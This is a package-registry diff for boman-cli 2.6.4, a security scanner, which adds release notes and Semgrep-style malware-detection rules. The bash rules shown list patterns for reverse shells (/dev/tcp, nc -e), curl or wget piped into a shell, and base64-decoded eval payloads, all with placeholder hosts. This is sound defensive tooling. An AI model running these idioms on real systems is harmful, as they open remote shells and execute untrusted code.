boman-cli 2.6.2__tar.gz → 2.6.4__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {boman_cli-2.6.2 → boman_cli-2.6.4}/PKG-INFO +10 -1
- {boman_cli-2.6.2 → boman_cli-2.6.4}/README.md +9 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/PKG-INFO +10 -1
- boman_cli-2.6.4/boman_cli.egg-info/SOURCES.txt +117 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/Config.py +1 -1
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/main.py +16 -16
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/01-obfuscated-dynamic-exec.yaml +28 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/02-reverse-shell.yaml +29 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/03-download-and-execute.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/04-credential-exfiltration.yaml +39 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/06-suspicious-c2-endpoints.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/07-cryptominer-indicators.yaml +39 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/08-persistence.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/09-anti-analysis-evasion.yaml +39 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/bash/10-filesystem-tampering.yaml +28 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/01-obfuscated-dynamic-exec.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/02-reverse-shell.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/03-download-and-execute.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/04-credential-exfiltration.yaml +40 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/05-lifecycle-hook-abuse.yaml +37 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/06-suspicious-c2-endpoints.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/08-persistence.yaml +39 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/09-anti-analysis-evasion.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/10-filesystem-tampering.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/csharp/12-insecure-deserialization.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/generic/01-obfuscated-dynamic-exec-confusable-unicode.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-composer.yaml +29 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-npm.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/generic/11-trojan-source.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/generic/boman-malware-detection.yml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/01-obfuscated-dynamic-exec.yaml +53 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/02-reverse-shell.yaml +48 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/03-download-and-execute.yaml +90 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/04-credential-exfiltration.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/05-lifecycle-hook-abuse.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/06-suspicious-c2-endpoints.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/09-anti-analysis-evasion.yaml +40 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/go/10-filesystem-tampering.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/01-obfuscated-dynamic-exec.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/02-reverse-shell.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/03-download-and-execute.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/04-credential-exfiltration.yaml +39 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/05-lifecycle-hook-abuse.yaml +38 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/06-suspicious-c2-endpoints.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/09-anti-analysis-evasion.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/10-filesystem-tampering.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/java/12-insecure-deserialization.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/01-obfuscated-dynamic-exec.yaml +48 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/02-reverse-shell.yaml +70 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/03-download-and-execute.yaml +45 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/04-credential-exfiltration.yaml +53 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/06-suspicious-c2-endpoints.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/07-cryptominer-indicators.yaml +29 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/09-anti-analysis-evasion.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/10-filesystem-tampering.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/javascript/12-insecure-deserialization.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/01-obfuscated-dynamic-exec.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/02-reverse-shell.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/03-download-and-execute.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/04-credential-exfiltration.yaml +38 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/06-suspicious-c2-endpoints.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/09-anti-analysis-evasion.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/10-filesystem-tampering.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/php/12-insecure-deserialization.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/01-obfuscated-dynamic-exec.yaml +76 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/02-reverse-shell.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/03-download-and-execute.yaml +91 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/04-credential-exfiltration.yaml +80 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/05-lifecycle-hook-abuse.yaml +42 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/06-suspicious-c2-endpoints.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/07-cryptominer-indicators.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/08-persistence.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/09-anti-analysis-evasion.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/10-filesystem-tampering.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/python/12-insecure-deserialization.yaml +36 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/01-obfuscated-dynamic-exec.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/02-reverse-shell.yaml +32 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/03-download-and-execute.yaml +38 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/04-credential-exfiltration.yaml +80 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/05-lifecycle-hook-abuse.yaml +53 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/06-suspicious-c2-endpoints.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/09-anti-analysis-evasion.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/10-filesystem-tampering.yaml +34 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/ruby/12-insecure-deserialization.yaml +31 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/01-obfuscated-dynamic-exec.yaml +37 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/02-reverse-shell.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/03-download-and-execute.yaml +29 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/04-credential-exfiltration.yaml +41 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/06-suspicious-c2-endpoints.yaml +35 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/07-cryptominer-indicators.yaml +27 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/08-persistence.yaml +33 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/09-anti-analysis-evasion.yaml +30 -0
- boman_cli-2.6.4/bomancli/malware_rules/boman/rust/10-filesystem-tampering.yaml +32 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/setup.cfg +1 -1
- boman_cli-2.6.2/boman_cli.egg-info/SOURCES.txt +0 -21
- boman_cli-2.6.2/bomancli/malware_rules/boman/js/boman-malware-detection.yml +0 -35
- {boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/dependency_links.txt +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/entry_points.txt +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/requires.txt +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/boman_cli.egg-info/top_level.txt +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/_init_.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/auth.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/base_logger.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/dev_attribution.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/loc_finder.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/sbom_enricher.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/templates/template_plan.yaml +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/utils.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/bomancli/validation.py +0 -0
- {boman_cli-2.6.2 → boman_cli-2.6.4}/setup.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: boman-cli
|
|
3
|
-
Version: 2.6.
|
|
3
|
+
Version: 2.6.4
|
|
4
4
|
Summary: CLI tool of boman.ai
|
|
5
5
|
Home-page: https://boman.ai
|
|
6
6
|
Author: Sumeru Software Solutions Pvt. Ltd.
|
|
@@ -103,6 +103,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
|
|
|
103
103
|
|
|
104
104
|
# Release Notes:
|
|
105
105
|
|
|
106
|
+
### 2.6.4
|
|
107
|
+
- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
|
|
108
|
+
|
|
109
|
+
### 2.6.3
|
|
110
|
+
- **Bug fix** - minor bug fixes
|
|
111
|
+
|
|
112
|
+
### 2.6.2
|
|
113
|
+
- **Updated rules** - new rules added
|
|
114
|
+
|
|
106
115
|
### 2.6.1
|
|
107
116
|
- **Updated tools** - updated SAST, SCA and Secret scan tools
|
|
108
117
|
|
|
@@ -81,6 +81,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
|
|
|
81
81
|
|
|
82
82
|
# Release Notes:
|
|
83
83
|
|
|
84
|
+
### 2.6.4
|
|
85
|
+
- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
|
|
86
|
+
|
|
87
|
+
### 2.6.3
|
|
88
|
+
- **Bug fix** - minor bug fixes
|
|
89
|
+
|
|
90
|
+
### 2.6.2
|
|
91
|
+
- **Updated rules** - new rules added
|
|
92
|
+
|
|
84
93
|
### 2.6.1
|
|
85
94
|
- **Updated tools** - updated SAST, SCA and Secret scan tools
|
|
86
95
|
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: boman-cli
|
|
3
|
-
Version: 2.6.
|
|
3
|
+
Version: 2.6.4
|
|
4
4
|
Summary: CLI tool of boman.ai
|
|
5
5
|
Home-page: https://boman.ai
|
|
6
6
|
Author: Sumeru Software Solutions Pvt. Ltd.
|
|
@@ -103,6 +103,15 @@ Example: boman-cli -a run -zap_session_script ./session.js
|
|
|
103
103
|
|
|
104
104
|
# Release Notes:
|
|
105
105
|
|
|
106
|
+
### 2.6.4
|
|
107
|
+
- **Malware detection rules** - Malware rules for bash, c#, generic, go, java, js, php, python, ruby and rust added
|
|
108
|
+
|
|
109
|
+
### 2.6.3
|
|
110
|
+
- **Bug fix** - minor bug fixes
|
|
111
|
+
|
|
112
|
+
### 2.6.2
|
|
113
|
+
- **Updated rules** - new rules added
|
|
114
|
+
|
|
106
115
|
### 2.6.1
|
|
107
116
|
- **Updated tools** - updated SAST, SCA and Secret scan tools
|
|
108
117
|
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
setup.cfg
|
|
3
|
+
setup.py
|
|
4
|
+
boman_cli.egg-info/PKG-INFO
|
|
5
|
+
boman_cli.egg-info/SOURCES.txt
|
|
6
|
+
boman_cli.egg-info/dependency_links.txt
|
|
7
|
+
boman_cli.egg-info/entry_points.txt
|
|
8
|
+
boman_cli.egg-info/requires.txt
|
|
9
|
+
boman_cli.egg-info/top_level.txt
|
|
10
|
+
bomancli/Config.py
|
|
11
|
+
bomancli/_init_.py
|
|
12
|
+
bomancli/auth.py
|
|
13
|
+
bomancli/base_logger.py
|
|
14
|
+
bomancli/dev_attribution.py
|
|
15
|
+
bomancli/loc_finder.py
|
|
16
|
+
bomancli/main.py
|
|
17
|
+
bomancli/sbom_enricher.py
|
|
18
|
+
bomancli/utils.py
|
|
19
|
+
bomancli/validation.py
|
|
20
|
+
bomancli/malware_rules/boman/bash/01-obfuscated-dynamic-exec.yaml
|
|
21
|
+
bomancli/malware_rules/boman/bash/02-reverse-shell.yaml
|
|
22
|
+
bomancli/malware_rules/boman/bash/03-download-and-execute.yaml
|
|
23
|
+
bomancli/malware_rules/boman/bash/04-credential-exfiltration.yaml
|
|
24
|
+
bomancli/malware_rules/boman/bash/06-suspicious-c2-endpoints.yaml
|
|
25
|
+
bomancli/malware_rules/boman/bash/07-cryptominer-indicators.yaml
|
|
26
|
+
bomancli/malware_rules/boman/bash/08-persistence.yaml
|
|
27
|
+
bomancli/malware_rules/boman/bash/09-anti-analysis-evasion.yaml
|
|
28
|
+
bomancli/malware_rules/boman/bash/10-filesystem-tampering.yaml
|
|
29
|
+
bomancli/malware_rules/boman/csharp/01-obfuscated-dynamic-exec.yaml
|
|
30
|
+
bomancli/malware_rules/boman/csharp/02-reverse-shell.yaml
|
|
31
|
+
bomancli/malware_rules/boman/csharp/03-download-and-execute.yaml
|
|
32
|
+
bomancli/malware_rules/boman/csharp/04-credential-exfiltration.yaml
|
|
33
|
+
bomancli/malware_rules/boman/csharp/05-lifecycle-hook-abuse.yaml
|
|
34
|
+
bomancli/malware_rules/boman/csharp/06-suspicious-c2-endpoints.yaml
|
|
35
|
+
bomancli/malware_rules/boman/csharp/07-cryptominer-indicators.yaml
|
|
36
|
+
bomancli/malware_rules/boman/csharp/08-persistence.yaml
|
|
37
|
+
bomancli/malware_rules/boman/csharp/09-anti-analysis-evasion.yaml
|
|
38
|
+
bomancli/malware_rules/boman/csharp/10-filesystem-tampering.yaml
|
|
39
|
+
bomancli/malware_rules/boman/csharp/12-insecure-deserialization.yaml
|
|
40
|
+
bomancli/malware_rules/boman/generic/01-obfuscated-dynamic-exec-confusable-unicode.yaml
|
|
41
|
+
bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-composer.yaml
|
|
42
|
+
bomancli/malware_rules/boman/generic/05-lifecycle-hook-abuse-npm.yaml
|
|
43
|
+
bomancli/malware_rules/boman/generic/11-trojan-source.yaml
|
|
44
|
+
bomancli/malware_rules/boman/generic/boman-malware-detection.yml
|
|
45
|
+
bomancli/malware_rules/boman/go/01-obfuscated-dynamic-exec.yaml
|
|
46
|
+
bomancli/malware_rules/boman/go/02-reverse-shell.yaml
|
|
47
|
+
bomancli/malware_rules/boman/go/03-download-and-execute.yaml
|
|
48
|
+
bomancli/malware_rules/boman/go/04-credential-exfiltration.yaml
|
|
49
|
+
bomancli/malware_rules/boman/go/05-lifecycle-hook-abuse.yaml
|
|
50
|
+
bomancli/malware_rules/boman/go/06-suspicious-c2-endpoints.yaml
|
|
51
|
+
bomancli/malware_rules/boman/go/07-cryptominer-indicators.yaml
|
|
52
|
+
bomancli/malware_rules/boman/go/08-persistence.yaml
|
|
53
|
+
bomancli/malware_rules/boman/go/09-anti-analysis-evasion.yaml
|
|
54
|
+
bomancli/malware_rules/boman/go/10-filesystem-tampering.yaml
|
|
55
|
+
bomancli/malware_rules/boman/java/01-obfuscated-dynamic-exec.yaml
|
|
56
|
+
bomancli/malware_rules/boman/java/02-reverse-shell.yaml
|
|
57
|
+
bomancli/malware_rules/boman/java/03-download-and-execute.yaml
|
|
58
|
+
bomancli/malware_rules/boman/java/04-credential-exfiltration.yaml
|
|
59
|
+
bomancli/malware_rules/boman/java/05-lifecycle-hook-abuse.yaml
|
|
60
|
+
bomancli/malware_rules/boman/java/06-suspicious-c2-endpoints.yaml
|
|
61
|
+
bomancli/malware_rules/boman/java/07-cryptominer-indicators.yaml
|
|
62
|
+
bomancli/malware_rules/boman/java/08-persistence.yaml
|
|
63
|
+
bomancli/malware_rules/boman/java/09-anti-analysis-evasion.yaml
|
|
64
|
+
bomancli/malware_rules/boman/java/10-filesystem-tampering.yaml
|
|
65
|
+
bomancli/malware_rules/boman/java/12-insecure-deserialization.yaml
|
|
66
|
+
bomancli/malware_rules/boman/javascript/01-obfuscated-dynamic-exec.yaml
|
|
67
|
+
bomancli/malware_rules/boman/javascript/02-reverse-shell.yaml
|
|
68
|
+
bomancli/malware_rules/boman/javascript/03-download-and-execute.yaml
|
|
69
|
+
bomancli/malware_rules/boman/javascript/04-credential-exfiltration.yaml
|
|
70
|
+
bomancli/malware_rules/boman/javascript/06-suspicious-c2-endpoints.yaml
|
|
71
|
+
bomancli/malware_rules/boman/javascript/07-cryptominer-indicators.yaml
|
|
72
|
+
bomancli/malware_rules/boman/javascript/08-persistence.yaml
|
|
73
|
+
bomancli/malware_rules/boman/javascript/09-anti-analysis-evasion.yaml
|
|
74
|
+
bomancli/malware_rules/boman/javascript/10-filesystem-tampering.yaml
|
|
75
|
+
bomancli/malware_rules/boman/javascript/12-insecure-deserialization.yaml
|
|
76
|
+
bomancli/malware_rules/boman/php/01-obfuscated-dynamic-exec.yaml
|
|
77
|
+
bomancli/malware_rules/boman/php/02-reverse-shell.yaml
|
|
78
|
+
bomancli/malware_rules/boman/php/03-download-and-execute.yaml
|
|
79
|
+
bomancli/malware_rules/boman/php/04-credential-exfiltration.yaml
|
|
80
|
+
bomancli/malware_rules/boman/php/06-suspicious-c2-endpoints.yaml
|
|
81
|
+
bomancli/malware_rules/boman/php/07-cryptominer-indicators.yaml
|
|
82
|
+
bomancli/malware_rules/boman/php/08-persistence.yaml
|
|
83
|
+
bomancli/malware_rules/boman/php/09-anti-analysis-evasion.yaml
|
|
84
|
+
bomancli/malware_rules/boman/php/10-filesystem-tampering.yaml
|
|
85
|
+
bomancli/malware_rules/boman/php/12-insecure-deserialization.yaml
|
|
86
|
+
bomancli/malware_rules/boman/python/01-obfuscated-dynamic-exec.yaml
|
|
87
|
+
bomancli/malware_rules/boman/python/02-reverse-shell.yaml
|
|
88
|
+
bomancli/malware_rules/boman/python/03-download-and-execute.yaml
|
|
89
|
+
bomancli/malware_rules/boman/python/04-credential-exfiltration.yaml
|
|
90
|
+
bomancli/malware_rules/boman/python/05-lifecycle-hook-abuse.yaml
|
|
91
|
+
bomancli/malware_rules/boman/python/06-suspicious-c2-endpoints.yaml
|
|
92
|
+
bomancli/malware_rules/boman/python/07-cryptominer-indicators.yaml
|
|
93
|
+
bomancli/malware_rules/boman/python/08-persistence.yaml
|
|
94
|
+
bomancli/malware_rules/boman/python/09-anti-analysis-evasion.yaml
|
|
95
|
+
bomancli/malware_rules/boman/python/10-filesystem-tampering.yaml
|
|
96
|
+
bomancli/malware_rules/boman/python/12-insecure-deserialization.yaml
|
|
97
|
+
bomancli/malware_rules/boman/ruby/01-obfuscated-dynamic-exec.yaml
|
|
98
|
+
bomancli/malware_rules/boman/ruby/02-reverse-shell.yaml
|
|
99
|
+
bomancli/malware_rules/boman/ruby/03-download-and-execute.yaml
|
|
100
|
+
bomancli/malware_rules/boman/ruby/04-credential-exfiltration.yaml
|
|
101
|
+
bomancli/malware_rules/boman/ruby/05-lifecycle-hook-abuse.yaml
|
|
102
|
+
bomancli/malware_rules/boman/ruby/06-suspicious-c2-endpoints.yaml
|
|
103
|
+
bomancli/malware_rules/boman/ruby/07-cryptominer-indicators.yaml
|
|
104
|
+
bomancli/malware_rules/boman/ruby/08-persistence.yaml
|
|
105
|
+
bomancli/malware_rules/boman/ruby/09-anti-analysis-evasion.yaml
|
|
106
|
+
bomancli/malware_rules/boman/ruby/10-filesystem-tampering.yaml
|
|
107
|
+
bomancli/malware_rules/boman/ruby/12-insecure-deserialization.yaml
|
|
108
|
+
bomancli/malware_rules/boman/rust/01-obfuscated-dynamic-exec.yaml
|
|
109
|
+
bomancli/malware_rules/boman/rust/02-reverse-shell.yaml
|
|
110
|
+
bomancli/malware_rules/boman/rust/03-download-and-execute.yaml
|
|
111
|
+
bomancli/malware_rules/boman/rust/04-credential-exfiltration.yaml
|
|
112
|
+
bomancli/malware_rules/boman/rust/06-suspicious-c2-endpoints.yaml
|
|
113
|
+
bomancli/malware_rules/boman/rust/07-cryptominer-indicators.yaml
|
|
114
|
+
bomancli/malware_rules/boman/rust/08-persistence.yaml
|
|
115
|
+
bomancli/malware_rules/boman/rust/09-anti-analysis-evasion.yaml
|
|
116
|
+
bomancli/malware_rules/boman/rust/10-filesystem-tampering.yaml
|
|
117
|
+
bomancli/templates/template_plan.yaml
|
|
@@ -869,23 +869,23 @@ def uploadReport(filename,toolname,tool_id,scan_details_id,type):
|
|
|
869
869
|
r = requests.post(url,json=values)
|
|
870
870
|
return 0
|
|
871
871
|
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
875
|
-
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
880
|
-
|
|
881
|
-
|
|
882
|
-
|
|
883
|
-
|
|
884
|
-
|
|
885
|
-
|
|
872
|
+
try:
|
|
873
|
+
logging.info('Removing the result file')
|
|
874
|
+
if type != "sbom" and type != "reachability":
|
|
875
|
+
logging.info("removing file %s",path)
|
|
876
|
+
os.remove(path)
|
|
877
|
+
elif Config.reachability_present is not True and type == 'sbom':
|
|
878
|
+
logging.info("removing file %s",path)
|
|
879
|
+
os.remove(path)
|
|
880
|
+
elif type == "reachability":
|
|
881
|
+
os.remove(path)
|
|
882
|
+
os.remove(Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
|
|
883
|
+
os.remove(path_reachability)
|
|
884
|
+
os.remove(path_bom)
|
|
885
|
+
logging.info("removing file %s, %s, %s, %s", path, path_reachability, path_bom, Path(str(Config.sbom_build_dir))/Config.sbom_response[0]['output_file'])
|
|
886
886
|
|
|
887
|
-
|
|
888
|
-
|
|
887
|
+
except Exception as e:
|
|
888
|
+
logging.error(f"unable to remove the file: {path} ---> Error: {e}")
|
|
889
889
|
|
|
890
890
|
tool_output = json.dumps(data, ensure_ascii=False, indent=4)
|
|
891
891
|
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-obfuscated-dynamic-exec
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A base64-decoded payload is piped straight into eval/bash/sh.
|
|
7
|
+
Strong indicator of a malware dropper hiding its real behavior from
|
|
8
|
+
static string scanning.
|
|
9
|
+
metadata:
|
|
10
|
+
category: security
|
|
11
|
+
subcategory: [malware]
|
|
12
|
+
family: obfuscated-dynamic-exec
|
|
13
|
+
mitre-attack: [T1027, T1059]
|
|
14
|
+
confidence: HIGH
|
|
15
|
+
impact: HIGH
|
|
16
|
+
references:
|
|
17
|
+
- https://attack.mitre.org/techniques/T1027/
|
|
18
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
19
|
+
remediation: >
|
|
20
|
+
Remove dynamic execution of decoded/obfuscated payloads. If dynamic
|
|
21
|
+
code loading is required, load from a signed, versioned, first-party
|
|
22
|
+
source and never from a decoded runtime string.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-either:
|
|
25
|
+
- pattern: echo $X | base64 -d | bash
|
|
26
|
+
- pattern: echo $X | base64 -d | sh
|
|
27
|
+
- pattern: eval $(echo $X | base64 -d)
|
|
28
|
+
- pattern: eval "$(echo $X | base64 -d)"
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-reverse-shell-devtcp-nc
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
An interactive shell is wired to a raw TCP connection (via bash's
|
|
7
|
+
/dev/tcp pseudo-device or `nc -e`). This is the canonical shell
|
|
8
|
+
reverse-shell one-liner: it hands an attacker-controlled remote
|
|
9
|
+
endpoint an interactive shell.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: reverse-shell
|
|
14
|
+
mitre-attack: [T1059]
|
|
15
|
+
confidence: HIGH
|
|
16
|
+
impact: HIGH
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
19
|
+
remediation: >
|
|
20
|
+
Remove the socket-to-shell wiring entirely. If remote command
|
|
21
|
+
execution is genuinely required, route it through an authenticated,
|
|
22
|
+
audited RPC/orchestration channel instead of a raw shell.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-either:
|
|
25
|
+
- pattern: bash -i >& /dev/tcp/$HOST/$PORT 0>&1
|
|
26
|
+
- pattern: sh -i >& /dev/tcp/$HOST/$PORT 0>&1
|
|
27
|
+
- pattern: nc -e /bin/sh $HOST $PORT
|
|
28
|
+
- pattern: nc -e /bin/bash $HOST $PORT
|
|
29
|
+
- pattern: ncat -e /bin/sh $HOST $PORT
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-download-and-execute
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A remote script is piped straight into a shell interpreter. This is
|
|
7
|
+
a download-and-execute stager: the real payload is never committed
|
|
8
|
+
to disk or source control, it's pulled at runtime.
|
|
9
|
+
metadata:
|
|
10
|
+
category: security
|
|
11
|
+
subcategory: [malware]
|
|
12
|
+
family: download-and-execute
|
|
13
|
+
mitre-attack: [T1105, T1059]
|
|
14
|
+
confidence: HIGH
|
|
15
|
+
impact: HIGH
|
|
16
|
+
references:
|
|
17
|
+
- https://attack.mitre.org/techniques/T1105/
|
|
18
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
19
|
+
remediation: >
|
|
20
|
+
Never pipe a remote download straight into a shell. Download,
|
|
21
|
+
verify (checksum/signature), inspect, then run -- or better, use
|
|
22
|
+
the platform's own package manager.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-either:
|
|
25
|
+
- pattern: curl $URL | bash
|
|
26
|
+
- pattern: curl $URL | sh
|
|
27
|
+
- pattern: curl -s $URL | bash
|
|
28
|
+
- pattern: curl -sL $URL | bash
|
|
29
|
+
- pattern: wget -O- $URL | bash
|
|
30
|
+
- pattern: wget -O- $URL | sh
|
|
31
|
+
- pattern: wget -qO- $URL | bash
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
